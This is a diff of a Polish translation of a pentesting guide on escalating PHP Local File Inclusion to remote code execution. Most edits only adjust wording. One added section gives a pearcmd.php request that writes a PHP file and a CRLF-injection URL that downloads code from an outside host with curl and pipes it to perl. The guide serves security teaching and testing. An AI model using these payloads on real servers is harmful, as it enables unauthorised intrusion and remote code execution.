+520,11 @@ User-Agent: ``` ### Via upload -Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki w nim (np: ``). +Jeśli możesz przesłać plik, po prostu wstrzyknij ładunek powłoki do niego (np: ``). ``` http://example.com/index.php?page=path/to/uploaded/file.png ``` -Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych zdjęć/doc/pdf +Aby zachować czytelność pliku, najlepiej wstrzyknąć do metadanych obrazów/doc/pdf ### Poprzez przesyłanie pliku Zip @@ -573,7 +573,7 @@ NOTE: the payload is "" ``` ### Via php filters (no file needed) -Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej treści** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku. +Ten [**artykuł**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) wyjaśnia, że możesz użyć **filtrów php do generowania dowolnej zawartości** jako wyjścia. Co zasadniczo oznacza, że możesz **generować dowolny kod php** do włączenia **bez potrzeby zapisywania** go w pliku. {% content-ref url="lfi2rce-via-php-filters.md" %} [lfi2rce-via-php-filters.md](lfi2rce-via-php-filters.md) @@ -597,7 +597,7 @@ Jeśli znalazłeś **Local File Inclusion** i **Nginx** działa przed PHP, może ### Via PHP\_SESSION\_UPLOAD\_PROGRESS -Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Wyłączone`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE: +Jeśli znalazłeś **Local File Inclusion**, nawet jeśli **nie masz sesji** i `session.auto_start` jest `Off`. Jeśli dostarczysz **`PHP_SESSION_UPLOAD_PROGRESS`** w **danych POST multipart**, PHP **włączy sesję dla Ciebie**. Możesz to wykorzystać, aby uzyskać RCE: {% content-ref url="via-php_session_upload_progress.md" %} [via-php\_session\_upload\_progress.md](via-php\_session\_upload\_progress.md) @@ -611,6 +611,25 @@ Jeśli znalazłeś **Local File Inclusion** i serwer działa w **Windows**, moż [lfi2rce-via-temp-file-uploads.md](lfi2rce-via-temp-file-uploads.md) {% endcontent-ref %} +### Via `pearcmd.php` + URL args + +Jak [**wyjaśniono w tym poście**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), skrypt `/usr/local/lib/phppearcmd.php` istnieje domyślnie w obrazach docker php. Co więcej, możliwe jest przekazywanie argumentów do skryptu za pomocą URL, ponieważ wskazano, że jeśli parametr URL nie ma `=`, powinien być użyty jako argument. + +Następujące żądanie tworzy plik w `/tmp/hello.php` z zawartością ``: + +{% code overflow="wrap" %} +```bash +GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/+/tmp/hello.php HTTP/1.1 +``` +{% endcode %} + +Następujące wykorzystuje lukę CRLF do uzyskania RCE (z [**tutaj**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)): +``` +http://server/cgi-bin/redir.cgi?r=http:// %0d%0a +Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a +Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a +%0d%0a +``` ### Via phpinfo() (file\_uploads = on) Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z file\_uploads = on, możesz uzyskać RCE: @@ -621,7 +640,7 @@ Jeśli znalazłeś **Local File Inclusion** i plik ujawniający **phpinfo()** z ### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure -Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżkę** do pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do włączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**: +Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksfiltrować ścieżkę** do pliku tymczasowego, ALE **serwer** **sprawdza**, czy **plik do dołączenia ma znaczniki PHP**, możesz spróbować **obejść to sprawdzenie** za pomocą tego **Race Condition**: {% content-ref url="lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md" %} [lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md](lfi2rce-via-compress.zlib-+-php\_stream\_prefer\_studio-+-path-disclosure.md) @@ -629,7 +648,7 @@ Jeśli znalazłeś **Local File Inclusion** i **możesz wyeksportować ścieżk ### Via eternal waiting + bruteforce -Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz następnie **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy: +Jeśli możesz nadużyć LFI, aby **przesłać pliki tymczasowe** i sprawić, że serwer **zawiesi** wykonanie PHP, możesz wtedy **bruteforce'ować nazwy plików przez godziny**, aby znaleźć plik tymczasowy: {% content-ref url="lfi2rce-via-eternal-waiting.md" %} [lfi2rce-via-eternal-waiting.md](lfi2rce-via-eternal-waiting.md) @@ -637,10 +656,10 @@ Jeśli możesz wykorzystać LFI do **przesyłania plików tymczasowych** i spraw ### To Fatal Error -Jeśli włączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz włączyć ten sam plik 2 razy, aby wywołać ten błąd). +Jeśli dołączysz którykolwiek z plików `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Musisz dołączyć ten sam plik 2 razy, aby wywołać ten błąd). **Nie wiem, jak to jest przydatne, ale może być.**\ -_Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki PHP są usuwane._ +_Nawet jeśli spowodujesz błąd krytyczny PHP, przesłane pliki tymczasowe są usuwane._
@@ -653,7 +672,7 @@ _Nawet jeśli spowodujesz błąd krytyczny PHP, tymczasowe pliki PHP są usuwane
-Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami błędów! +Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hackerami i łowcami bugów! **Hacking Insights**\ Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem @@ -667,8 +686,8 @@ Bądź na bieżąco z najnowszymi nagrodami za błędy i istotnymi aktualizacjam **Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś! {% hint style="success" %} -Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Ucz się i ćwicz Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Ucz się i ćwicz Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
@@ -676,7 +695,7 @@ Ucz się i ćwicz Hacking GCP: {% endhint %}